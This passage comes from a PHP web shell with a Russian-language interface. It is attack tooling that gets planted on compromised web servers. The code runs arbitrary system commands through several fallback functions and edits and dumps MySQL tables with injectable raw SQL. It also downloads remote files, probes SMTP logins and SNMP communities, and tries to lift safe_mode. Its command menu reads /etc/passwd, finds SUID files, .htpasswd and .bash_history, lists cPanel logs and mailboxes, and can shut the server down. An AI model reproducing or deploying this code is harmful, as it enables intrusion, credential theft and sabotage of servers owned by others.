  1440. print "<td bgcolor=#181818>$name</td>";
  1441. }
  1442. }
  1443. while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
  1444. print "</tr>";
  1445. foreach ($line as $key =>$col_value) {
  1446. if (count($primary) > 0) {
  1447. if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); }
  1448. }
  1449. else {
  1450. $edit .= urlencode("`$key`='$col_value' AND ");
  1451. }
  1452. $string .= "<td bgcolor=#181818>".htmlspecialchars($col_value)."</td>";
  1453. }
  1454. $edit=substr_replace($edit,"",-5);
  1455. print "<tr><td bgcolor=#181818 width=25><a href=$self?sec=mysql&workingdir=".getcwd()."&query_edit=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl title=\"Редактировать значения колонок\">Edit</a></td>".
  1456. "<td bgcolor=#F84C6C width=25><a href=$self?sec=mysql&workingdir=".getcwd()."&query_del=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl title=\"Удалить запись\" onClick=\"return confirm('Удалить запись, уверены ?')\";>Del</a></td>".
  1457. $string."</tr>";
  1458. unset($edit);
  1459. unset($string);
  1460. }
  1461. mysql_free_result($result);
  1462. print "</table><br>";
  1463. }
  1464. if (isset($query_del)) {
  1465. $query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del);
  1466. $r_del = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1467. print "Успешно удалено строк (<b> ".mysql_affected_rows()."</b> )";
  1468. }
  1469. if (isset($query_edit)) {
  1470. $query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit);
  1471. $r_edit = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1472. print "<br><center><font color=green><h5>Редактирование значений полей таблицы</h5></font></center>".
  1473. "<table border=0 cellpadding=1 cellspacing=1 bgcolor=#181818><tr bgcolor=#181818>".
  1474. "<td align=center><b>Поле</b></td><td align=center><b>Значение</b></td></tr>";
  1475. print "<form method=\"get\" action=\"$self\">".
  1476. "<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
  1477. <input type=hidden name=workingdir value=".getcwd().">".
  1478. "<input type=\"hidden\" name=\"q_get\" value=\"y\">".
  1479. "<input type=\"hidden\" name=\"server\" value=\"$server\">".
  1480. "<input type=\"hidden\" name=\"port\" value=\"$port\">".
  1481. "<input type=\"hidden\" name=\"login\" value=\"$login\">".
  1482. "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
  1483. "<input type=\"hidden\" name=\"db\" value=\"$db\">".
  1484. "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">";
  1485. print "<input type=\"radio\" name=\"up_str\" value=\"up_ok\" checked=\"checked\">Обновить значения&nbsp;&nbsp;<b>ИЛИ</b>&nbsp;&nbsp;&nbsp;".
  1486. "<input type=\"radio\" name=\"up_str\" value=\"ins_ok\">Вставить новый ряд<br><br>";
  1487. while ($line = mysql_fetch_array($r_edit, MYSQL_ASSOC)) {
  1488. foreach ($line as $key =>$col_value) {
  1489. $del_str_с .= "`$key`='$col_value' AND ";
  1490. $len_value=strlen($col_value);
  1491. if ($len_value > 40) { $t_value="<textarea name=$key cols=39 rows=5>$col_value</textarea>"; }
  1492. else { $t_value="<input type='text' name='$key' value='$col_value'size=40>"; }
  1493. $g_query .= "<tr><td bgcolor=#181818><b>$key</b></td><td>$t_value</td></tr>";
  1494. }
  1495. }
  1496. $del_str=urlencode($del_str_с);
  1497. print "<input type=\"hidden\" name=\"del_str\" value=\"$del_str\">";
  1498. print "$g_query</table><br>";
  1499. print "<br><input type=submit value=\"изменить значение\"></form>";
  1500. }
  1501. if (isset($q_get)) {
  1502. $url=$HTTP_SERVER_VARS['QUERY_STRING'];
  1503. if ($_REQUEST['up_str']=='up_ok') {
  1504. $del_str=urldecode(substr_replace($del_str,"",-5));
  1505. $b = explode('&', $url);
  1506. for ($i = 10; $i < count($b); $i++) {
  1507. $q = explode("=",$b[$i]);
  1508. $q_a .= "`".$q[0]."`='".$q[1]."', ";
  1509. }
  1510. $q_a_ins=urldecode(substr_replace($q_a,"",-2));
  1511. $q_st=urldecode(substr_replace($q_st,"",-2));
  1512. $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
  1513. $q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1514. $c_a_r=mysql_affected_rows();
  1515. print "<table align=left width=70% bgcolor=#181818><tr><td><font color=green>".
  1516. "<b>PHP-код запроса:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>".
  1517. "</tr><tr><td><font color=green>Изменено строк</font> (<b>$c_a_r<b>)</td></tr></table>";
  1518. }
  1519. if ($_REQUEST['up_str']=='ins_ok') {
  1520. $b = explode('&', $url);
  1521. for ($i = 10; $i < count($b); $i++) {
  1522. $q = explode("=",$b[$i]);
  1523. $i_cols .="`$q[0]`, ";
  1524. $i_val .= "'$q[1]', ";
  1525. }
  1526. $i_cols=urldecode(substr_replace($i_cols,"",-2));
  1527. $q_a_ins=urldecode(substr_replace($i_val,"",-2));
  1528. $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)";
  1529. $q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1530. $c_a_r=mysql_affected_rows();
  1531. print "<table align=left width=70% bgcolor=#181818><tr><td><font color=green>".
  1532. "<b>PHP-код запроса:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>".
  1533. "</tr><tr><td><font color=green>Изменено строк</font> (<b>$c_a_r<b>)</td></tr></table>";
  1534. }
  1535. }
  1536. if (isset($nn_row) && $_REQUEST['nn_row']=='ok') {
  1537. $nn_q = 'SHOW FIELDS FROM '.$tbl;
  1538. $r_n = mysql_query($nn_q) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1539. print "<form method=\"get\" action=\"$self\">".
  1540. "<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
  1541. <input type=hidden name=workingdir value=".getcwd().">".
  1542. "<input type=\"hidden\" name=\"nn\" value=\"ok\">".
  1543. "<input type=\"hidden\" name=\"server\" value=\"$server\">".
  1544. "<input type=\"hidden\" name=\"port\" value=\"$port\">".
  1545. "<input type=\"hidden\" name=\"login\" value=\"$login\">".
  1546. "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
  1547. "<input type=\"hidden\" name=\"db\" value=\"$db\">".
  1548. "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">".
  1549. "<br><center><font size=2>Вставить новый ряд в таблицу [ <b>$tbl</b> ]</font></center>".
  1550. "<br><table border=0 cellpadding=0 cellspacing=1 bgcolor=#181818><tr bgcolor=#181818>".
  1551. "<td align=center><b>Поле</b></td><td align=center><b>Тип</b></td>".
  1552. "<td align=center><b>Значение</b></td></tr>";
  1553. while ($n_line = mysql_fetch_array($r_n, MYSQL_ASSOC)) {
  1554. foreach ($n_line as $n_k =>$n_v) {
  1555. $pole .= "$n_v ";
  1556. }
  1557. $n_l=explode(" ",$pole);
  1558. print "<tr bgcolor=#181818><td>&nbsp;<b>$n_l[0]</b>&nbsp;</td><td bgcolor=#181818>&nbsp;".
  1559. wordwrap($n_l[1],40,"<br>",1).
  1560. "&nbsp;</td><td><input type=text name=\"$n_l[0]\" size=35><td></tr>";
  1561. unset($pole);
  1562. }
  1563. print "</table><br><center><input type=submit value=\"вставить новый ряд\"></center></form><br>";
  1564. }
  1565. if (isset($nn) && $_REQUEST['nn']=='ok') {
  1566. $url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']);
  1567. $b_nn = explode('&', $url_n);
  1568. for ($i = 8; $i < count($b_nn); $i++) {
  1569. $q_nn = explode("=",$b_nn[$i]);
  1570. $q_a_nn .= "`".$q_nn[0]."` ,";
  1571. $q_nn_v .= "'".$q_nn[1]."' ,";
  1572. }
  1573. $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2));
  1574. $q_nn_v=substr_replace($q_nn_v,"",-2);
  1575. $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )";
  1576. mysql_query($sql_n) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1577. $c_n_r=mysql_affected_rows();
  1578. print "&nbsp;&nbsp;&nbsp;<table align=left width=70% bgcolor=#181818>".
  1579. "<tr><td><b>Action:</b> <font color=green>Успешно вставлено строк</font> (<b>$c_n_r<b>)</td></tr>".
  1580. "<tr><td><font color=green><b>PHP-код запроса:</b></font></td></tr><tr><td>\$sql=\"$sql_n\";</td></tr></table><br><br>";
  1581. }
  1582. $form_dump=
  1583. "<form method=\"get\" action=\"$self\">".
  1584. "<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
  1585. <input type=hidden name=workingdir value=".getcwd().">".
  1586. "<input type=\"hidden\" name=\"db\" value=\"$db\">".
  1587. "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">".
  1588. "<input type=\"hidden\" name=\"server\" value=\"$server\">".
  1589. "<input type=\"hidden\" name=\"port\" value=\"$port\">".
  1590. "<input type=\"hidden\" name=\"login\" value=\"$login\">".
  1591. "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
  1592. "<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
  1593. "<table bgcolor=#181818 width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
  1594. "<table cellpadding=2 bgcolor=#181818 width=100%>".
  1595. "<tr><td align=center><b>Dump таблицы</b> [ <font color=green><b>$tbl</b></font> ]</td></tr>".
  1596. "<tr><td><input type=\"radio\" name=\"strukt\" value=\"t_strukt\"> Только структуру</td></tr>".
  1597. "<tr><td><input type=\"radio\" name=\"strukt\" value=\"d\"> Только данные</td></tr>".
  1598. "<tr><td><input type=\"radio\" name=\"strukt\" value=\"d_strukt\" checked=\"checked\"> Структуру и данные</td></tr>".
  1599. "<tr><td align=center><hr size=1 color=#181818><b>Действие</b> (показать/отправить)</td></tr>".
  1600. "<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> Показать в броузере</td></tr>".
  1601. "<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> Отправить файл дампа по HTTP</td></tr>".
  1602. "<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
  1603. "</table>".
  1604. "</td></tr></table></form>";
  1605. if ($dump=="tab"){ print $form_dump;}
  1606. if ($_REQUEST['strukt']=='t_strukt' && $_REQUEST['send']=='send_br' ){
  1607. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  1608. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  1609. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1610. $fp = fopen($file, "w");
  1611. fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  1612. date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
  1613. $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1614. $row = mysql_fetch_row($res);
  1615. fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
  1616. fputs($fp, $row[1].";\n\n");
  1617. fclose($fp);
  1618. $dump_file=file($file);
  1619. print "<br><table bgcolor=#181818 width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#181818>";
  1620. foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
  1621. print "</table></td></tr></table><br>";
  1622. unlink($file);
  1623. }
  1624. if ($_REQUEST['strukt']=='d_strukt' && $_REQUEST['send']=='send_br'){
  1625. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  1626. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  1627. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1628. $fp = fopen($file, "w");
  1629. fputs ($fp, "# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ".
  1630. date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
  1631. $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1632. $row = mysql_fetch_row($res);
  1633. fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
  1634. fputs($fp, $row[1].";\n\n");
  1635. $res = mysql_query("SELECT * FROM `$tbl`", $connection);
  1636. if (mysql_num_rows($res) > 0) {
  1637. while ($row = mysql_fetch_assoc($res)) {
  1638. $keys = implode("`, `", array_keys($row));
  1639. $values = array_values($row);
  1640. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1641. $values = implode("', '", $values);
  1642. $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
  1643. fputs($fp, $sql);
  1644. }
  1645. }
  1646. fclose($fp);
  1647. $dump_file=file($file);
  1648. print "<br><table bgcolor=#181818 width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#181818>";
  1649. foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
  1650. print "</table></td></tr></table><br>";
  1651. unlink($file);
  1652. }
  1653. if ($_REQUEST['strukt']=='d' && $_REQUEST['send']=='send_br'){
  1654. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  1655. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  1656. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1657. $fp = fopen($file, "w");
  1658. $res = mysql_query("SELECT * FROM `$tbl`", $connection);
  1659. if (mysql_num_rows($res) > 0) {
  1660. while ($row = mysql_fetch_assoc($res)) {
  1661. $keys = implode("`, `", array_keys($row));
  1662. $values = array_values($row);
  1663. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1664. $values = implode("', '", $values);
  1665. $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
  1666. fputs($fp, $sql);
  1667. }
  1668. }
  1669. fclose($fp);
  1670. $dump_file=file($file);
  1671. print "<br><table bgcolor=#181818 width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#181818>";
  1672. foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
  1673. print "</table></td></tr></table><br>";
  1674. unlink($file);
  1675. }
  1676. print "
  1677. </td>
  1678. </tr>
  1679. </table>
  1680. </td>
  1681. </tr>
  1682. </table>";
  1683. }
  1684. if (isset($q_help) && $q_help=='ok'){
  1685. print 'Мини HELP по запросам
  1686. <li><b>SHOW TABLES </b> выводит список таблиц базы
  1687. <li><b>SHOW OPEN TABLES</b> выводит список таблиц, которые в настоящий момент открыты в кэше таблицы
  1688. <li><b>SHOW TABLE STATUS</b> структура таблиц базы
  1689. <li><b>SELECT VERSION(), CURRENT_DATE</b> выводит версию MySQL сервера и текущую дату
  1690. <li><b>SELECT (2*2), (4+1)*5, (9/3), (5-3)</b> используем MySQL как калькулятор: указываем через запятую арифметические операции
  1691. <li><b>DROP TABLE IF EXISTS table_name</b> удалить таблицу \"table_name\"
  1692. <li><b>CREATE TABLE bar (m INT)</b> создать таблицу bar с одним столбцом (m) типа integer
  1693. <li><b>CREATE TABLE test (number INTEGER,texts CHAR(10));</b> создать таблицу test с полями number -тип INTEGER и поле texts -тип CHAR
  1694. <li><b>CREATE TABLE `test` SELECT * FROM `rush`;</b> создать таблицу test ,копируя таблицу rush
  1695. <li><b>ALTER TABLE test CHANGE SITE OLD_SITE INTEGER</b> переименовать столбец INTEGER из SITE в OLD_SITE
  1696. <li><b>ALTER TABLE test RENAME rush</b> переименовать таблицу test в rush
  1697. <li><b>UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\'</b> сменить юзеру root пароль
  1698. <li><b>FLUSH PRIVILEGES</b> перечитать таблицу привилегий юзеров
  1699. <li><b>GRANT ALL PRIVILEGES ON *.* TO xXx@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION</b> добавить нового супер-юзера mysql <b>xXx</b> с паролем <b>some_pass</b>
  1700. ';
  1701. }
  1702. print "
  1703. </td>
  1704. </tr>
  1705. </table>
  1706. </td></tr>
  1707. <tr><td>
  1708. <table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
  1709. <tr><td>
  1710. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  1711. <tr>
  1712. <td align=center>
  1713. &nbsp;
  1714. </td>
  1715. </tr>
  1716. </table>
  1717. </td></tr>
  1718. </table>
  1719. </td></tr></table>";
  1720. exit();
  1721. }
  1722. function icon($file) {
  1723. $ext=get_file_ext($file);
  1724. if (getimagesize($file) != NULL) { $icon="img"; }
  1725. elseif (is_dir($file)) { $icon="dir"; }
  1726. elseif ($ext == "htm" || $ext == "html" || $ext == "mhtml") { $icon="html"; }
  1727. elseif ($ext == "php" || $ext == "php3" || $ext == "php4" || $ext == "php5" || $ext == "phtml") { $icon="php"; }
  1728. elseif ($ext == "exe" || $ext == "com" || $ext == "bat") { $icon="exe"; }
  1729. elseif ($ext == "htaccess" || $ext == "txt" || $ext == "htpasswd" || $ext == "dat" || $ext == "log" || $ext == "ini" || $ext == "inf" || $ext == "inc" || $ext == "sql" || $ext == "rtf" || $ext == "doc") { $icon="txt"; }
  1730. else { $icon="unk"; }
  1731. return "<img src=\"".$_SERVER['PHP_SELF']."?act=img&amp;name_img=".$icon."\" />&nbsp;";
  1732. }
  1733. function flusher(){ flush(); ob_flush(); }
  1734. if (!function_exists("file_get_contents")) {
  1735. function file_get_contents($addr) {
  1736. $a = fopen($addr,"r");
  1737. $tmp = fread($a,filesize($a));
  1738. fclose($a);
  1739. if($a)return $tmp;
  1740. }
  1741. }
  1742. if (!function_exists("file_put_contents")) {
  1743. function file_put_contents($addr,$con) {
  1744. $a = fopen($addr,"w");
  1745. if(!$a)return 0;
  1746. fwrite($a,$con);
  1747. fclose($a);
  1748. return strlen($con);
  1749. }
  1750. }
  1751. if (!function_exists("str_repeat")) {
  1752. function str_repeat($str,$c){
  1753. $r="";
  1754. for($i=0; $i < $cu; $i++)$r.=$str;
  1755. return $r;
  1756. }
  1757. }
  1758. if (!empty($dl)) {
  1759. ob_clean();
  1760. $con=file_get_contents($dl);
  1761. header("Content-type: application/octet-stream");
  1762. header("Content-disposition: attachment; filename=\"$dl\";");
  1763. header("Content-length: ".strlen($con));
  1764. echo $con;
  1765. exit;
  1766. }
  1767. if (!empty($img)) {
  1768. header("Content-type: image/gif");
  1769. header("Content-length: ".filesize($img));
  1770. header("Last-Modified: ".date("r",filemtime($img)));
  1771. echo file_get_contents($img);
  1772. exit;
  1773. }
  1774. function showsize($size) {
  1775. if ($size>=1073741824) { $size = round(($size/1073741824) ,2)." ГБ"; }
  1776. elseif ($size>=1048576) { $size = round(($size/1048576),2)." МБ"; }
  1777. elseif ($size>=1024) { $size = round(($size/1024),2)." КБ"; }
  1778. else { $size .= " B"; }
  1779. return $size;
  1780. }
  1781. if (substr((strtoupper(php_uname())),0,3)=="WIN") { $windows=1; } else { $windows=0; }
  1782. function name(){
  1783. $name='';
  1784. srand((double)microtime()*100000);
  1785. for ($i=0;$i<=rand(3,10);$i++){
  1786. $name.=chr(rand(97,122));
  1787. }
  1788. return $name;
  1789. }
  1790. function whereistmp() {
  1791. $uploadtmp=ini_get('upload_tmp_dir');
  1792. $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  1793. if(is_dir('/tmp') && is_writable('/tmp')) { return '/tmp'; }
  1794. if(is_dir('/usr/tmp') && is_writable('/usr/tmp')) { return '/usr/tmp'; }
  1795. if(is_dir('/var/tmp') && is_writable('/var/tmp')) { return '/var/tmp'; }
  1796. if(is_dir($uploadtmp) && is_writable($uploadtmp)) { return $uploadtmp; }
  1797. if(is_dir($envtmp) && is_writable($envtmp)) { return $envtmp; }
  1798. return ".";
  1799. }
  1800. function shell($command){
  1801. global $windows,$disablefunctions;
  1802. $exec = '';$output= '';
  1803. $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  1804. if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
  1805. elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
  1806. elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
  1807. elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
  1808. elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
  1809. elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
  1810. elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
  1811. else { $exec="Sorry, you can not execute commands on this server."; }
  1812. $exec=convert_cyr_string ($exec, "a", "w");
  1813. return $exec;
  1814. }
  1815. function downloadit($get,$put){
  1816. $fo=strtolower(ini_get('allow_url_fopen'));
  1817. if($fo || $fo=='on') { $con=file_get_contents($get); }
  1818. else {
  1819. $u=parse_url($get);
  1820. $host=$u['host']; $file==(!empty($u['path']))?$u['path']:'/';
  1821. $url=fsockopen($host, 80, $en, $es, 12);
  1822. fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: */*\r\nHost: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  1823. $tmp=$con='';
  1824. while($tmp!="\r\n") { $tmp=fgets($url); }
  1825. while(!feof($url)) { $con.=fgets($url); }
  1826. }
  1827. $mk=file_put_contents($put,$con);
  1828. if($mk) { return 1; }
  1829. return 0;
  1830. }
  1831. function smtplogin($addr,$user,$pass,$timeout){
  1832. $sock=fsockopen($addr,25,$n,$s,$timeout);
  1833. if(!$sock) { return -1; }
  1834. fputs($sock,'HELO '.name()."\r\n");
  1835. $res=fgets($res,3);
  1836. if($res!='220') { return 0; }
  1837. fputs($sock,"auth login\r\n");
  1838. $res=fgets($res,3);
  1839. if($res!='220') { return 0; }
  1840. fputs($sock,base64_encode($user)."\r\n");
  1841. $res=fgets($res,3);
  1842. if($res!='220') { return 0; }
  1843. fputs($sock,base64_encode($pass)."\r\n");
  1844. $res=fgets($res,3);
  1845. if($res!='220') { return 0; }
  1846. return 1;
  1847. }
  1848. function checksmtp($host,$timeout){
  1849. if (!fsockopen($host,25,$n,$s,$timeout)) { return 0; }
  1850. return 1;
  1851. }
  1852. function check_url($url,$timeout){
  1853. $u=parse_url($url);
  1854. $host=$u['host'];
  1855. $file=(!empty($u['path']))?$u['path']:'/';
  1856. $sock=fsockopen($host,80,$en,$es,$timeout);
  1857. if($sock){
  1858. fputs($sock,"GET $file HTTP/1.0\r\n");
  1859. fputs($sock,"Host: $host\r\n\r\n");
  1860. $res=substr(fgets($sock,12),9);
  1861. if($res=='20') { return 1; }
  1862. }
  1863. return 0;
  1864. }
  1865. function get_sw_name($host,$timeout){
  1866. $sock=fsockopen($host,80,$en,$es,$timeout);
  1867. if($sock){
  1868. $page=name().name();
  1869. fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
  1870. while(!feof($sock)) {
  1871. $con=fgets($sock);
  1872. if(strstr($con,'Server:')) {$ser=substr($con,strpos($con,' ')+1); return $ser;}
  1873. } fclose($sock); return -1; } return 0;
  1874. }
  1875. function snmpcheck($ip,$com,$timeout) {
  1876. $res="";
  1877. $packet = "0&".chr(2).chr(1).chr(0).chr(4).chr(strlen($com)).$com.chr(160).chr(25).chr(2).chr(1)."/".chr(2).chr(1).chr(0).chr(2).chr(1).chr(0)."0".chr(14)."0".chr(12).chr(6).chr(8)."+".chr(6).chr(1).chr(2).chr(1).chr(1).chr(2).chr(0).chr(5).chr(0);
  1878. $sock = fsockopen("udp://$ip",161);
  1879. socket_set_timeout($sock,$timeout);
  1880. fputs($sock,$packet);
  1881. socket_set_timeout($sock,$timeout);
  1882. $res = fgets($sock);
  1883. fclose($sock);
  1884. return $res;
  1885. }
  1886. $safemode=(ini_get('safe_mode') or strtolower(ini_get('safe_mode')) == 'on')?'ON':'OFF';
  1887. if($safemode=="ON") { ini_restore("safe_mode"); ini_restore("open_basedir"); }
  1888. function showimage($img) { echo "<center><img border=0 src=\"".hlink("image=".$img."&&workingdir=".getcwd())."\"></center>"; }
  1889. function editor($file){
  1890. global $errorbox,$et,$hcwd;
  1891. if (is_file($file)) {
  1892. if (!is_readable($file)) { echo $errorbox." Файл не доступен для чтения".$et."<br>"; }
  1893. if (!is_writable($file)){ echo $errorbox." Файл не доступен для записи".$et."<br>"; }
  1894. $data = file_get_contents($file);
  1895. echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\">".$hcwd."<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=Открыть></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">";
  1896. echo htmlspecialchars($data);
  1897. echo "</textarea></td></tr><tr><td><input type=text value=\"".$file."\" size=80 name=file></td></tr><td>";
  1898. } else {
  1899. echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>".$hcwd."<input type=submit class=buttons name=Open value=Открыть></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td>";
  1900. }
  1901. echo $hcwd."<input type=submit class=buttons name=save value=Сохранить></td></form></tr></table></center>";
  1902. }
  1903. function webshell() {
  1904. global $windows,$hcwd;
  1905. if($windows) {
  1906. $alias="<option value=\"netstat -an\">Показать открытые порты</option><option value=\"tasklist\">Список процессов</option><option value=\"systeminfo\">Инфо о системе</option><option value=\"ipconfig /all\">Конфигурация IP</option><option value=\"getmac\">Узнать MAC адрес</option><option value=\"net start\">Список служб</option><option value=\"net view\">Другие компы в сети</option><option value=\"net user\">Список юзеров</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">Вырубить сервер</option>";
  1907. } else {
  1908. $alias="<option value=\"netstat -an | grep -i listen\">Показать открытые порты</option><option value=\"last -a -n 250 -i\">Показать последних 250 залогинившихся юзеров</option><option value=\"which wget curl lynx w3m\">Качалки</option><option value=\"find / -perm -2 -type d -print\">Найти расшаренные папки</option><option value=\"find . -perm -2 -type d -print\">Найти расшаренные папки в текущей</option><option value=\"find / -perm -2 -type f -print\">Найти расшаренные файлы</option><option value=\"find . -perm -2 -type f -print\">Найти расшаренные файлы в текущйе папке</option><option value=\"find / -type f -perm 04000 -ls\">Найти файлы с битом SUID</option><option value=\"find / -type f -perm 02000 -ls\">Найти файлы с битом SGID</option><option value=\"find / -name .htpasswd -type f\">Найти файлы .htpasswd</option><option value=\"find / -type f -name .bash_history\">Найти файлы .bash_history</option><option value=\"cat /etc/syslog.conf\">Показать syslog.conf</option><option value=\"cat cat /etc/hosts\">Показать файл hosts</option><option value=\"ps auxw\">Список процессов</option>";
  1909. if(is_dir('/etc/valiases')) { $alias.="<option value=\"ls -l /etc/valiases\">Список доменов Cpanel (valiases)</option>"; }
  1910. if(is_dir('/etc/vdomainaliases')) { $alias.="<option value=\"ls -l /etc/vdomainaliases\">Список доменов Cpanel (vdomainaliases)</option>"; }
  1911. if(file_exists('/var/cpanel/accounting.log')) { $alias.="<option value=\"cat /var/cpanel/accounting.log\">Лог Cpanel</option>"; }
  1912. if(is_dir('/var/spool/mail/')) { $alias.="<option value=\"ls /var/spool/mail/\">Список почтовых ящиков</option>"; }
  1913. }
  1914. echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Путь:</b><input type=text name=workingdir size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=Изменить></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td><textarea rows=\"22\" cols=\"78\">";
  1915. if (!empty($_REQUEST['cmd'])) { echo shell($_REQUEST['cmd']); }
  1916. echo "</textarea></td></tr><form method=post><tr><td><input type=text size=91 name=cmd value=\"";
  1917. if (!empty($_REQUEST['cmd'])) { echo htmlspecialchars(($_REQUEST['cmd'])); }
  1918. elseif(!$windows) {
  1919. echo "cat /etc/passwd"; }
